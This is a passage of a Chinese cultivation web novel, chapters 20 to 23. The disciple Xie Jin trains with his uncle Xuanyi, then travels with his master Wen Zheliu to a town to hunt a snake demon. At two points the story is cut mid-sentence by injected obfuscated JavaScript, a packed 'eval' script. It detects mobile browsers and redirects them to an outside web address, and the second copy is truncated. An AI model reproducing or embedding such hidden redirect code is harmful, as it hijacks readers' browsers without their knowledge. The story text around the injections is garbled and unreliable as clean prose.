脸色便如他刚入宗门时一般,稍稍偏黄的小麦色,可锁骨的肤色却如玉般,透着冷白。 师父问这个干什么? 怎么像个流氓一样! 闻折柳顿了顿,又道:“算了。” 他这回没再停留,手一松泄漏出小黄鸟的叫骂声,却都与玄意的哀嚎声一起随他远去。 洞开的窗外再无一人。 唯有角落里的小树灵,飘来飘去地巡视着方才玄意被抓出去时在院中草地上留下的坑。 谢槿暗松口气。 师父这话……也太怪了。 不过…… 他看向双手,发觉近日似乎是白了许多,原本便还算白净的手背愈发透亮,神色微妙。 不知道今夜闻折柳是如何收拾玄意的,反正隔日一早,谢槿见到玄意时这人还是全须全尾的。谢槿看他殷勤地给师父捶背时,心下突然惊起骇浪,面上仍平静奉茶。 “没想到玄意师叔还在,今日的灵茶少了一盏。” “没关系,师侄只管忘忧师兄就是,师叔我算什么?忘忧师兄的茶我配喝吗?我不配!” 玄意一反昨夜嚣张姿态,笑得善解人意,语调都轻柔了许多,变化之大叫人不可置信。 谢槿受宠若惊。 玄意师叔终究还是变态了吗? 闻折柳接过茶抿了一口,还按下旁边伸出脑袋要偷茶喝的小黄鸟,神色平静仿佛昨夜之事从未发生过一样,语气依旧慵懒随意。 “今日他来给你陪练。” 谢槿惊道:“什么?” 他猛地看向师父和玄意师叔,难道昨夜他不在时,师父和师叔达成了什么奇怪的交易吗? 玄意显然不情不愿,还装着一脸端庄,挤出微笑说:“我现在就是你们赤月峰的债奴,小谢槿,你快动手,不要错过我这块揽月宗最好的磨刀石!要是你觉得我很不错的话,有空可以约我一起玩剑傀哦!” 谢槿不想说话。 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当然,他连只格挡不反击的剑傀都打不过,往日这一套打在玄意身上,就算拼尽全力,玄意从一开始不熟练的闪避中慢慢适应,轻而易举化解招式,但几乎没有出手。 最后,谢槿被他反扭手臂压在红叶堆上,疼得倒抽冷气,而玄意由始至终都没有反击。 玄意压在他背上,显然还没尽兴,撇了撇嘴问:“怎么样啊小谢槿?认输了吗?还要不要继续打?不过我看你现在都不会用剑,真想要我出手,少说也要等到结丹吧?” 谢槿皱起眉头,扭头看向闻折柳,师父你看他! 说好的陪练,怎么还损人呢? 闻折柳似有所感,搁下手中茶盏,冷眼瞥向玄意。 玄意当即收敛起脸上的得瑟,慈祥地搀扶起谢槿。 “师侄没事吧?怪我下手重了。” 谢槿倒还不至于因为这点小事记恨他,他揉了揉酸麻的右臂,轻轻摇头谢绝玄意的好意。 “无妨,师叔真的很厉害,还未出手就能完全碾压我,若出手,我怕是要成为剑下亡魂。” “我肯定不会对你出剑啊。” 玄意这话让谢槿心头一暖,接着又说:“你这么弱。” 谢槿眉心一跳,好烦。 玄意转头又看向闻折柳,“不过,你是怎么会我们这一脉的玉阳心决的?那要是你都能学玉阳心决,我岂不是也能学三阳剑法?” 谢槿愣住,“什么?” 玄意只觉得他在装傻,索性质问起闻折柳:“你徒弟刚刚用的分明是我们玉阳心决的心法,作为交换,你也得教我三阳剑法吧?” 谢槿也跟着看向闻折柳,他学的不是入门功法吗? 闻折柳端着茶碗气定神闲,他的茶,连小黄鸟都不能沾半点,只能眼巴巴蹲在一边眼馋。 在二人注视下,他吐出二字。 “不是。” 玄意笑了,“我还能认不出来玉阳心决?闻折柳,你是觉得我是傻子还是把我当瞎子了?” 闻折柳还是那句话,“不是。” 见势不妙,谢槿拖着疲累的身体挪到闻折柳身边去,看闻折柳的眼神也有些狐疑。之前虚谷真人来时,也提到过他修炼的功法。 莫非这功法真的有问题? 闻折柳仿佛能看穿他心思一般,淡声说道:“宗门又不是只有你们玉阳心决一脉才有这样的心法,你要是不懂就回去问你师兄。” 看他振振有词,玄意也有点气虚了,忽而一拍脑门,瞪大眼睛指向闻折柳,“你说的是……师祖当年开宗立派时传给两位师伯和我师父的那套功法,你又传给了你徒弟?” 谢槿也惊得瞪大了眼睛。 不过这是啥啊? 闻折柳沉稳得很,“是又如何?” 玄意神情恍惚,“听守直师兄说过,这套功法乃是师祖自创而成,也是最早揽月宗的立宗根本,更是后来两位师伯与师父出师时发扬光大的揽月宗三脉功法启发根源,唯有当年怀真师伯的奉剑童子后来的奉剑师兄和隐月峰的虚谷师兄修炼过……” 他抖着手,指向谢槿,痛心疾首道:“守直师兄说,这部功法名为九天揽月神功,师祖偏宠你,让你学过就算了……你居然还传给了徒弟!闻折柳,你这是暴殄天物啊!” 谢槿被玄意指得一懵,感觉玄意的眼神充满了羡慕嫉妒恨,赶紧往闻折柳身后挪去,试图用师父高大挺拔的背影将自己藏起来。 这可不关他事啊!不过这部功法原来这么厉害的吗?可是这名字是不是有点太中二了…… 闻折柳漠然以对,“那又怎样?” 玄意变脸极快,搓着手冲他笑道:“你都教徒弟了,要不也教教我?你看我资质怎么样?还够得上赤月峰收徒门槛吧?师父父~” 谢槿跟着他荡漾的尾音抖了抖,差点把自己绊倒。 玄意师叔居然要跟他抢师父! 完了,师叔彻底变态了! 21. 第二十一章 管他玄意再变态,闻折柳始终对他毫无怜惜,“滚。” 玄意低骂一声,嘟囔道:“不公平!你们赤月峰可以学我们的玉阳心决,我却不能学三阳剑法,连给我看一眼都不愿意,小气!” 闻折柳道:“说了不是。” 玄意抱臂仰头,嗤道:“我都亲眼看到了还不是!” 闻折柳约莫懒得搭理他,偏头看向身后的谢槿。 “想说什么?” 谢槿的确欲言又止,他想问的太多了,他轻咳一声,“那个,这功法就叫九天揽月神功吗?我学会了它,就学会了玉阳心决吗?” 这中二名字说出口时,谢槿还是感觉有点羞耻。 玄意闷哼一声,斜眼看着二人,等着闻折柳编。 闻折柳从容道:“师父管它叫九天功,事实上,你修炼的心法与玉阳心决的确相通……” 他说到这里,玄意就一副抓到破绽的挑衅表情。 闻折柳冷眼道:“却不相同。师父与两位师叔各自将自己精通的部分改写为全新的功法,并将其修炼到极致,自成一脉发扬光大。这套祖师传下来的九天功实在是太过庞杂,唯有师祖全部精通,兼之晦涩难懂,除了奉剑师兄和虚谷师兄,还有我,其他师兄弟都不再修炼这套功法。” 也就是说,九天揽月功是全科宝典,而后来分化的三脉则是在这个基础之上发展的分科? 谢槿恍然大悟,又有些受宠若惊,“那我修炼这套九天……功,会不会有点不太好?” “他们无人传授才不学。” 闻折柳不以为意,“我是祖师亲传,教我徒弟有什么问题?不过你也不用得意太早,这套九天功潜力巨大,连师父和两位师叔都未能全部精通,但也都修炼到了大乘期,你才刚开始修炼,莫要贪多,尤其是那与三阳剑法相通的剑法最好先别碰。” 谢槿的确没碰过那套剑法,闻言好奇道:“为什么?” 闻折柳瞥了眼手边茶盏,谢槿当即领会,取出储物戒中早上煮好的一壶灵茶给他满上。 寒露草干制后泡茶,仍有灵气保存,茶香清冷。 这把虎视眈眈的小黄鸟给馋到了,探头凑过去,又被闻折柳笼在手心下,再次偷茶失败。 “最初的三阳剑法功法极为霸道,你剑脉本就比常人弱,若直接修炼,小心被剑气撑破。” 谢槿正后怕庆幸呢,闻折柳端起茶盏说:“不过就算你现在修炼也没用,你都看不懂。” 谢槿:“……” 他磨了磨牙,不想说话了。 玄意适时凑过来,“那传给我呀!我化神期了!” 闻折柳一个眼神都懒得给他,接着说:“九天功里的剑法是三阳剑法的雏形,丹药与符阵多是如今的春秋玄功一脉,心法也就是最早的玉阳心决,虽说相通,与蕴玉师叔自创一脉的玉阳心决还是不同的。” 玄意被骂习惯了,怎么都不生气,还赞同道:“刚才小谢槿运功时,的确是有些不同。” 谢槿好奇问:“哪里不同?” 玄意看向他,眼珠子又亮起来,“这个嘛,你先告诉我你修炼到哪里了我才好告诉你啊。” 谢槿自认不蠢,闻言迅速收起了好奇心,“师叔,您这样套我的功法没用的。不过揽月宗是有不准修炼其他几脉功法的规矩吗?” 玄意被揭穿也不怕,还理直气壮地说:“没有啊!我就是想学剑,大家都是揽月宗内门的,三脉一家,闻折柳你为什么不教我?” 他还反过来质问闻折柳,闻折柳冷漠道:“你要学剑法,不先去问蕴玉师叔,或是你师兄师姐。我一个三阳剑脉的,管得了你玉阳心决一脉的事?少废话,你若是连陪练价值都没有了,就滚出赤月峰。” 被他这么一警告,玄意顿时老实下来,当做无事发生,看天看地看谢槿,“那个小谢槿啊,你休息好了没有,好了就继续了嗷。” 谢槿也有一点无语,但见师父低头喝着茶,压根不管他们,他只好搁下茶壶点头应声。 “那便请师叔指教了。” 他走回红叶林空地上,朝玄意躬身一礼。玄意实则兴致缺缺,又忌惮闻折柳,只能慢吞吞过去。谢槿刚刚跟玄意交过手,当然知道玄意厉害,正提气思索着应对之法,耳边冷不丁传来闻折柳的声音—— “三脉功法同出九天功,玉阳心决更是将心法钻研到极致,一通百通,你若想突破近日瓶颈,就看你今日能否哄得玄意出手了。” 谢槿心下一惊,本想回头,却见对面的玄意师叔好像压根没有听到师父的话,他僵了下,迅速将眸中诧异之色压下,是传音吗? 不等他多想,玄意已经背起一只手,朝他招手。 “好了,来吧!” 看来真是传音。 谢槿心念电转,桃花眸中恢复往日平静,这便运气出手,用的不是符箓术法,正是心法。 “请师叔指教!” 无名心法前两重,都还只是寻常的练气基础,到谢槿眼下修炼的第三重,便开始由内化外,凝灵力于体外化为攻击。但玄意方才已经领教过他这招,接得相当熟练。 加上谢槿刻意露出几个破绽,比上回更快便被玄意扣紧手腕,化去了所有灵力,但一连七八个破绽,已经看得玄意眉头直皱。 “你这心法怎么变了?刚才明明不是这样的啊!” 谢槿按住手腕退开,面露不服,“师叔所言差矣,师侄按照心法修炼,无半点差错。何况九天功乃是三脉功法始源,心法应当比玉阳心决精妙才是,师侄不认为自己修炼的心法哪里比师叔的玉阳心决差。” “你还不服?”玄意惊了,他认识谢槿以来谢槿都是个好脾气的,今天居然这么跟他说话? 谢槿一脸认真,“师侄只是就事论事,九天功不可能有问题,说不定,是玉阳心决不对。” “胡说!” 玄意气道:“我师父开创的玉阳心决怎么可能有问题?是你自己不懂,你师父也不管管?” 闻折柳翘着二郎腿喝茶,漠不关心道:“我又没学过你那玉阳心决,但我也绝不会教错。” “你们没错,还能是我错了?” 玄意气不过,怒瞪这师徒二人,尤其是出言不逊的谢槿,抬手起势,指尖凝起一簇灵光。 “我们玉阳心决不可能有错!看好了,这才是我玉阳指法九式中的第一式,净水无明!” 他单手掐诀,一指射出数道灵力,柔如烟水,又灼灼如春阳,一瞬将林中红枫拦腰截断。 啪嗒啪嗒的声响在林中传来,眨眼就空了一半,红叶纷飞,露出山道上三道深长的地缝。 谢槿风中凌乱,瞠目结舌。 玄意回头见他这副模样,扬起下巴哼了一声,“怎么样?服了吧?要不是在你们赤月峰,我这一指就能把整座山头给炸平了!” 谢槿呆呆抚掌,“厉害。” 他想了想又问:“玉阳心决原来还有一套指法吗?” 玄意这才满意,负手身后一脸自豪,“这可是我师父蕴玉真人自创的玉阳指法,共有九式,心决修内,指法化外,这第一式净水无明便是……等等,我为什么要告诉你?” 玄意说到这里才看见谢槿掏出一个本子,正眼巴巴看着自己,拿着笔在本子上写着什么。 “你写什么啊!” 谢槿眨了眨眼,和善一笑,“师侄还有很多不懂的地方,师叔能否再多说说这玉阳指法?” “你偷师!” 玄意悟了,他反应过来,又回头怒指闻折柳,“你跟你徒弟联起手来骗我的玉阳指法!” 闻折柳打了个哈欠,瞥向凌乱山林,“不知道你在说什么,你把我的赤月峰搞成这个样子,打算怎么赔?别忘了,还欠着我的债,若是告到掌门和你师兄师姐那里……” “别别别!” 玄意怕了他,连忙摆手,“有话好好说,不要告状!” 谢槿看看二人,桃花眸中笑盈盈的,“那这指法……” 玄意咬咬牙,瘫坐在地捂脸痛哭,“我这是造了什么孽,剑法没学来,又赔了指法呜呜……” 这么一看好像被欺负狠了…… 谢槿迟疑了下,看向闻折柳。 闻折柳却没说话,搁下茶盏在袖中取出一枚白玉玉简,玉简竟在发光。玄意的假哭声也停了,在怀里掏出一枚一模一样的玉简。 谢槿有些茫然,这是什么? 玄意很快重振精神,从地上爬起来,大喜道:“掌门找我们哎!要不我们先去月诸峰?” 他搓搓手,干笑着看闻折柳,再在赤月峰待下去,他只怕要被这对师徒扒得底裤不剩了! 谢槿看向闻折柳手中玉简,原来是传音玉简吗? 闻折柳似有所感,收起玉简起身,顺手捞走了差一点就能沾到茶盏中剩余茶水的小黄鸟。 “你自己先修炼吧。” 谢槿只能应是。 闻折柳又瞥向玄意。 玄意一脸期待,“那咱们快走吧?” 闻折柳轻嗤一声,御剑离去。 玄意暗松口气,脸上才又重现笑容,朝谢槿摆了摆手,“你自己修炼吧,别再找我了啊!” 不好,师叔要逃! 谢槿反应过来为时已晚,玄意已经跑了,御剑而去的方向明显不是闻折柳离去的方向。 谢槿拦不住,只能叹气。 罢了,师父不在,他还是不要跟玄意师叔过多接触好。 玄意师叔为了剑傀有多疯狂多执着,谢槿是清楚的。 虽然不知道掌门为何事唤师父和师叔前去,谢槿目前最该在意的还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105400|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是自己的修炼进度。 他抱着本子就地打坐,回想起方才玄意师叔的指法。 原来师父留下玄意师叔陪练,是要帮他突破瓶颈吗? 看来师父一直在关注他的修炼进度。 剑傀陪练固然是好,可剑傀到底不是人,不像玄意师叔,他但凡出手,便是在指点谢槿。 谢槿收起本子,学着玄意方才的手势掐诀运功,一边运转起无名心法,指尖射出灵力。 不过灵力射出半丈,便又散了。 不论是数量、距离还是攻击力都远不如玄意师叔。 谢槿也不气馁,收了灵力继续修炼起无名心法。 玄意定是看出他目前修炼的进度,才会使出玉阳指法第一式,这隐隐与无名心法的第三重相通,他目前还参不透,但修炼本也急不来,按部就班修炼迟早也能筑基的。 可这次修炼到晌午,便被惊醒了。 谢槿睁眼一看,闻折柳那一袭烈焰般的红衣正飘扬在虚空,狼藉的枫叶林也掩不住他一身风华,他愣了一瞬,本能地接住了闻折柳抛来的东西,才发觉是一身新衣裳。 这不是揽月宗弟子的服饰。 谢槿起身正要行礼,闻折柳便飘然落地,大步往大殿走去,“回去换身衣裳,跟我下山。” 下山? 谢槿对这个词有些敏感,连忙抱起衣裳跟上去。 “师父也要下山?可是方才掌门那里出了什么事?” 闻折柳神色平静,语调也仍是懒洋洋的,“没事,接了个任务,去杀一个化神期大妖。” 谢槿猝不及防,师父这话说的好像杀手一样…… “杀大妖?这么随便吗?” 闻折柳拎起酒瓶饮了一口,回头看他,“又不是什么大事,走就是了,你也该去历练了。” 谢槿惊了,“师父,我?练气五层,杀化神期大妖?” 闻折柳似被灵酒呛到,低咳一声,唇边含笑,“野心不小,不过你要是不想去也无妨。” 谢槿看他笑了,反倒一愣。 “真的?” 闻折柳说:“那我不在时,你被人欺负我就管不了,到时洗澡再被人偷看就自求多福吧。” 不久前玄意才干过这事…… 谢槿倒抽口气,抱着衣服往大殿里跑去,“我去!” 他也不知要去多久,飞快换上闻折柳给的这身月白衣裳,收拾了细软,又布置好了小树灵小窝里的聚灵阵,叮嘱小树灵让它记得每日回窝里补充灵气,便回到了前殿。 闻折柳已经等候多时了,也换上了一身玄色道袍。 这人穿着红衣时特别艳丽俊美,换上黑衣后看去却多了几分冷峻,也束起了一头长卷发。 小黄鸟还如往常那样蹲在他肩上,蹭着他肩上的金丝绣纹玩,见到谢槿啾了一声扭过头。 主要是灵草被贪,还没消气。 谢槿浑然不在意,藏起眼底的一抹惊艳之色,快步走向斜倚在大殿门前悠然喝酒的闻折柳。 “师父,我们何时出发?” 闻折柳回头看他一眼,换下那身白底红纹的赤月峰弟子衣袍后的谢槿,与刚上山时几乎一样,不过比起那日,似乎长高了些。 月白衣裳衬着清秀脸颊,也的确是比先前白了些。 闻折柳点了点头,便直起身召来灵剑,“走吧。” 看他踏步走上灵剑,谢槿面露难色,“御剑去吗?” 上回跟玄意师叔御剑他还晕了…… 闻折柳回眸看他,微眯起眼,“怎么,玄意带你御剑你都答应了,本座带你御剑还不愿?” 谢槿嘴角一抽,“不是……” 这话听着怎么有点幽怨? 师父总不能跟师叔吃醋吧? 闻折柳挑起眉梢,弹出一束赤红灵力缠上谢槿腰身,直接将人卷到灵剑剑影上来,“走了。” 谢槿本就有点怕晕剑,再者闻折柳和玄意等人御剑时,灵剑不是变大变小,而是化为一道剑影。乍一看,脚下就跟踩着空气似的,他不怕腾云,却被玄意吓得有些恐高了,低头一看灵剑已往山外飞去,他就感觉双膝一软,单薄身板左右摇摆。 闻折柳啧了一声,抓住谢槿手腕,拉过人一头撞进怀中,少年身量矮小,正好嵌在他怀里。 “不想摔下去就别乱动。” 谢槿不敢动了,整个人僵在他怀里,耳尖通红。 这糟糕的姿势…… 如此近的距离,还能闻到师父身上残余的灵酒香气,幽冷清淡,像霜雪的气味,很是好闻。 但必须要说,谢槿撞到闻折柳的额角真的很痛! 他垂头藏起龇牙咧嘴的脸,感觉好像撞到铁板,哪还有心思吐槽这偶像剧一样的旖旎氛围? 师父的胸膛,真的好硬! 22. 第二十二章 剑光横渡虚空,飞离揽月宗。 闻折柳御剑,与玄意御剑还是不同的,或许是习惯带上小黄鸟御剑出门,闻折柳御剑时会布下结界挡住天上罡风,剑尾流淌着赤红剑气擦过天际,比坐飞舟还要平稳。 闻折柳慵懒地侧躺在剑上,手里拿着一个卷轴,小黄鸟就蹲在他头上蹦跶,迎风招展。 谢槿坐在他身后打坐,看他高束起的长卷发发尾轻轻晃动,跟被催眠了似的,开始走神。 这小黄鸟也挺闹腾的,师父这都能忍,脾气真好。 师父带他御剑还给他治好了晕剑,真是妙手回春…… 但他频频看向闻折柳,闻折柳也很难不察觉他的视线,头也没回便问:“想问什么直说。” 谢槿收起飘远的思绪端坐好,“师父,我们去哪儿?” 他这身月白衣裳是闻折柳给的,很衬他,穿上后就是个出身清贵斯文俊秀的少年书生。 闻折柳道:“中域。” 谢槿试图搜寻地图,然而无果。 “那是哪里?” 闻折柳坐起来,发冠上耀武扬威的小黄鸟便也跟着滑到他怀里来,他都没接,任由小黄鸟倒在衣摆上,神色复杂地看着谢槿。 “看来回去之后,有必要先送你去外门学习一下。” 谢槿为自己的无知感到羞愧,又有些委屈,“徒儿初来乍到,师父你之前也没教过啊。” 闻折柳怎么听这话都想在指责他这个做师父的失职,倒也没有反驳,只说:“修真界九域,揽月宗位于东域西南,靠近中域。我们要去的地方,就在中域和东域交界。” 这个时候再补课也晚了,谢槿对他这么简短的介绍也没有意见,“师父要杀的妖在那里?” 闻折柳将手里的卷轴扔给他,谢槿接过来打开,便见上头画着一个人面蛇身的狰狞妖怪,画风之抽象,可以参考山海经的插图。 “……蛇妖?” “应该是。” 听闻折柳这不确定的语气,谢槿更奇怪了,“师父不认识这蛇妖,却要杀它?师父刚才说接了什么任务,是掌门派发的任务吗?” 闻折柳捞起小黄鸟放回肩上,“听闻中域与东域交界处出现化神期蛇妖,残害路过修士无数,与宗门交好的摘星阁也折了一些弟子,于是传信求助宗门。不过这不重要,揽月宗刚换掌门,蛇妖出现得刚好,只要斩了它,揽月宗就能震慑外敌。” 谢槿愣了下,“就为了震慑外敌?” 闻折柳看向他,琉璃目似有几分冷淡,“修真界往往就是这么简单粗暴,这蛇妖的确害了不少人,也招惹了不少门派,究竟是什么状况,等到了地方,我们就知道了。” 谢槿若有所思,是了,这里是修真界,弱肉强食,大宗门或许会讲体面,但实际上呢? 体面要跟体面人讲才有用。 闻折柳见他不说话,又躺了回去,悠悠说道:“到时候你见了外宗之人,也能长点见识,看看真正的修真界,也炼炼你那胆子。” 自己知道自己胆小的谢槿摸摸鼻尖,闷闷应声。 “弟子明白了。” 不过师父愿意为了宗门接下这个任务,可见师父对宗门还是有感情的。谢槿忍不住问:“奉剑师伯说过师父身上有伤,师父自己去没关系吗?掌门他们也会来帮忙吗?” 闻折柳打了个哈欠,“不会,他们又不知道我会去。” 谢槿震惊,“师父没告诉宗门?” 闻折柳已经闭上双眼,“困了,你自个修炼去吧。” 谢槿:“……” 好敷衍! 他哪里还能安心修炼? 这么一看,师父果然是自己跑出来的,都没跟任何人交待,那他们两个人不会很危险吗? 但师父好像也有化神期修为,虽然不知道师父受了什么伤,看师父这样,应该没问题吧? 谢槿真是越想越愁,现在上了飞剑又不能跳下去,只能暗叹一声,听闻折柳的打坐调息。 闻折柳的剑很快,比谢槿来揽月宗时坐的飞舟还快,赶在天黑前,便带着谢槿到了地方。 谢槿跟着师父落地,看向山下,河道不远坐落着一座小镇,暮色之下,镇上已亮起灯火。 二人沿着山道下坡,走近小镇,看见牌坊上的文字,谢槿无师自通地念出不熟悉的文字。 “柳仙镇?” 闻折柳仰头饮了口灵酒,踏入镇中,谢槿只好快步跟上,“师父,你确定蛇妖在这里吗?” 天色黑沉下来,小镇上家家户户都点起了灯火,街道上没看到什么人,怪的是小镇门口的牌坊两侧,都有一尊狰狞的蟒蛇石像。 刚走进小镇,谢槿就感觉脊背有些凉,亦步亦趋跟紧闻折柳,暗中打量起街道上的行人。 闻折柳放下玉酒瓶,嗓音有些含糊,“不知道。” 谢槿顿了顿,“那咱们来这里做什么?”他与闻折柳一路走来,路过的行人都会多看他们一眼,可可能是他们的衣着显然跟镇上的人不一样,谢槿还看出来,镇上行人身上都有灵气,“镇上的人都是修士吗?” 闻折柳嗯了一声,“这附近是摘星阁庇佑之地,宗门林立之处,多是修士。不过也只是比人间好一些,这些人大多一生止步于筑基之前,只有极少人能继续往上提升。” 可他还有个问题没回答谢槿。 “那我们怎么不去找蛇妖?” 闻折柳理所当然道:“我怎么知道那蛇妖在哪里?天都黑了,先找个地方落脚睡一觉吧。” 谢槿愤愤腹诽,又睡! 可来都来了,还能反师父不成? 这小镇不大,三条街就到了尽头,中心有一座三层楼的小客栈,他们走到客栈门前时,天色彻底被黑暗吞噬,客栈门前挂起了鲜红的灯笼,上面的图案远看也像是蛇鳞。 外面街道冷清,客栈大堂内却坐着不少人,师徒二人一进来便被小胡子掌柜殷勤地迎了进去,大堂里许多人都齐齐看了过来。这些人的衣着与镇上的人都不同,也没有什么门派标识,身上却都带着兵器。 大堂里还剩两三张桌子,闻折柳自顾自带着谢槿在角落里坐下,将肩上的小黄鸟放到桌上。 明明师父平日都不吃东西,却让掌柜挑两样招牌菜上来。看掌柜乐颠颠走了,谢槿不明所以,在那些人隐晦的窥视下跟着闻折柳坐下,低声问:“师父,不是要睡觉吗?” “它饿了。” 闻折柳指腹点点小黄鸟,小黄鸟愤愤叽了一声,又低头在爪上金环里叼出来一根寒露草啃,像是在证明它才不想吃外面的东西。 谢槿也不信这话,这大堂里静悄悄的,那些修士光坐着也不说话,还在暗中打量他们,他实在有些难受,“他们不像镇上的人。” 闻折柳自己翻出一个玉杯,斟满了冰心玉壶,悠闲品酒,“不是说了,蛇妖招惹了不少门派,连我们都收到消息,自然有不少修士闻风而来,听说那蛇妖还有不少宝贝。” 谢槿问:“什么宝贝?” 闻折柳状似思考,说道:“听闻不少修士栽在蛇妖手上,便是因为这蛇妖手里有着一件仙级灵宝,能让人坠入迷梦,在不知不觉中陨命。不光如此,这蛇妖吃了不少修士,手里只怕也有存了不少灵宝法器。” 二人说话间,大堂中一男一女忽然起身走过来。那男子身着道袍,手执拂尘,女子却是个穿着白裙的二八少女,面容稚嫩秀气。 “道友也是来寻蛇妖的?” 那男子朝闻折柳颔首,唇边带笑,“贫道常先,也是为这恶妖而来,观道友面善,便有心结交一番。这是贫道的小徒儿,柳月。” 那少女闻言机灵地冲闻折柳抱拳,“月儿见过前辈。” 谢槿不是没碰过搭讪的人,但搭讪的修士却是头回见,他看向闻折柳,眼神带上询问。 闻折柳按住手里两三口啃完灵草警觉起来的小黄鸟,也不说起身回个礼,就随意点了头。 “我姓谢,这是我徒弟谢槿,也是为恶妖而来。” 谢槿一言难尽。 怎么你自己就是假名,到我这里就是真名了? 师父不厚道! 那常先道人又笑着问:“既然都是为除妖而来,贫道这里倒是知道一些与蛇妖相关的消息,道友可有兴趣?贫道看道友这灵酒不像是凡品,不知能否向道友讨一杯?” 闻折柳毫不犹豫将白玉瓶收回储物戒,“不好。” 不说常先道人,谢槿都被闻折柳这一手整懵了。 啊? 常先不是要跟他们交换信息吗?师父这么小气? 常先道人笑容也僵了下,而后竟也直接带着徒弟在他们师徒对面坐下来,“也罢,想来这酒于道友也极贵重,道友不愿割爱也无妨。实不相瞒,贫道师徒自万灵门而来,门中长老死于蛇妖腹中,这次来本是要为长老报仇,谁知入镇之后迟迟寻不到蛇妖踪迹,才想向道友打听一番。” 闻折柳道:“你都知道什么?” 师父也是真不客气…… 谢槿微垂下头,余光不经意对上那少女。柳月似乎一直在看他,被他撞见后眼睛更亮了,弯唇一笑,吓得他立马垂头避开来。 师父这态度不对,再看看吧。 常先道人似乎也被闻折柳仿佛盘问的语气哽了一下,“这……听闻柳仙镇外有个蛇窟,便是那蛇妖的藏身之地,不过这蛇窟往日藏得极深,唯有在蛇妖每夜子时现身吃人时才会出现,贫道打算今夜便出镇寻找蛇窟,不知道友可还有其他消息?” 闻折柳不答反问,“蛇窟?” 常先道人的徒弟柳月却一点也不见外,笑眯眯回道:“正是,我们方才跟镇上的人都打听清楚了,今晚去寻蛇窟的人还不少呢。” 闻折柳又问:“都有谁?” 没等柳月回答,客栈外便又来了人,三男两女,其中为首的是一位面容冷肃的负剑道人。 几人提着剑跟随道人走到大堂中仅剩下的两张桌子前坐下,其中一名红衣少女从进门起就在抱怨,“那蛇窟究竟藏在何处,找了半日都没找到,难道非要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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师徒二人上楼去了,也没等闻折柳回应,当然,闻折柳也没有搭理他们的意思。谢槿感觉怪怪的,悄悄地问闻折柳:“师父,你刚才是在暗示什么吗?他们有问题吗?” 闻折柳喝完了最后一点酒,收起玉杯轻出一口气,又似乎有些遗憾,“他们师徒一个化神期一个筑基初期,都在你之上。那神剑门长老也有化神期,几个弟子修为都在金丹以下,但毫无例外都在你之上。” 他没张口,这次还是传音。 谢槿意识到什么,忽然感觉脊背凉得渗人,用惊恐的眼神看向师父,难道所有人都有问题? 闻折柳却抓着小黄鸟站起身来,“回房睡觉吧。” 谢槿怕落单,赶紧跟上去。 师徒俩刚走到楼道口,就撞见客栈的掌柜,闻折柳让他带路去客房,冷不丁笑道:“菜都送到方才万灵门那位常先道人房里吧。” 谢槿看着更好奇了。 闻折柳便回头看他。 谢槿认真起来,等他吩咐。 闻折柳挑眉,“灵石。” 谢槿一愣,“啊?” 闻折柳看向身后的掌柜,小胡子掌柜等着收钱呢。 谢槿:“……” 师父带他出门还要花他灵石? 不过还好谢槿手里有赤月峰的月例,多的是灵石! 近来入镇修士不少,客栈客房不多,二人只能住一间。两人一进门,闻折柳便打着哈欠直奔唯一的床,往上一躺,眼睛一闭。 “睡觉。” 谢槿本来还想再问点别的,见状没办法,只能关好门窗,取出个蒲团放在地上凑合打坐。 闻折柳突然说:“子时唤我。” 谢槿想起常先道人说过的话,“师父要去蛇窟吗?” “嗯。” 闻折柳应了一声,便闭上眼睛。小黄鸟还精神得很,想飞出他怀里,又被他按了回去。 谢槿不好再问,便也跟着闭目修炼,他这修为这么低,单独出门八成是给蛇妖送菜的。 师父总不能不管他死活吧? 应该不能吧…… 谢槿颇有些不安的开始打坐修炼,算着时辰打算差不多就醒来喊师父,结果先被吵醒了。 闻折柳还在睡。 那张俊美脸庞难得柔静下来,谢槿突然不忍心叫醒他。 虽说他总腹诽师父偷懒睡觉,可师父不打呼噜啊! 而且他一张嘴就要气人! 客房外的楼道传来动静,外面的人说着什么,似乎与蛇窟有关,谢槿悄然起身推开窗户。 楼外是苍茫夜色,一片漆黑,却有一半天幕被映出诡谲绿光。巨蛇天降,张口亮出毒牙,一双血眸妖气滚滚,似要吞噬虚空。 谢槿呼吸一滞,蓦然有种被那双蛇瞳盯上的惊悚。 方才在大堂里见到的许多修士都已经下了楼,有一部分人率先御剑或腾云朝着异象飞去。 此时距子时,还有小半个时辰。 23. 第二十三章 “到子时了?” 闻折柳有些含糊的嗓音在床榻前传来,谢槿忙不迭回头,便见到师父站在床前打着哈欠。 分明睡了两个时辰,却还是一副睡不醒的状态,反观小黄鸟,倒是在枕头上睡得很沉。 谢槿回神,“还没有,不过蛇窟好像已经出现了。” 他本想让开窗口位置让闻折柳自己看的,结果闻折柳看都没看,便捞起小黄鸟要出门。 “那走吧。” 就走了? 谢槿眨了眨眼,只能跟上。 二人下楼时,大堂的门早已经开了,此前留宿的修士走了大半。很巧的是常先道人师徒和神剑门几人都还在,常先道人还在同神剑门那位长老说话,见到闻折柳二人便笑着迎上来,“谢道友,你总算来了。” 闻折柳问:“你们在等我?” 他问得太过直接,好在常先道人已经有了预料,抬手指向神剑门那位长老,笑道:“这位是神剑门的许长老。这位是谢道友,两位道友皆是化神期修为,也都是为蛇妖而来,想来一同去蛇窟也能找个照应。” “不必。”许长老瞥了眼闻折柳,见他容貌出色,却瞧不出底细,当场婉拒,随即吩咐身后几个弟子,“你们留在客栈等着,本座亲自去蛇窟会一会这所谓的恶妖。” 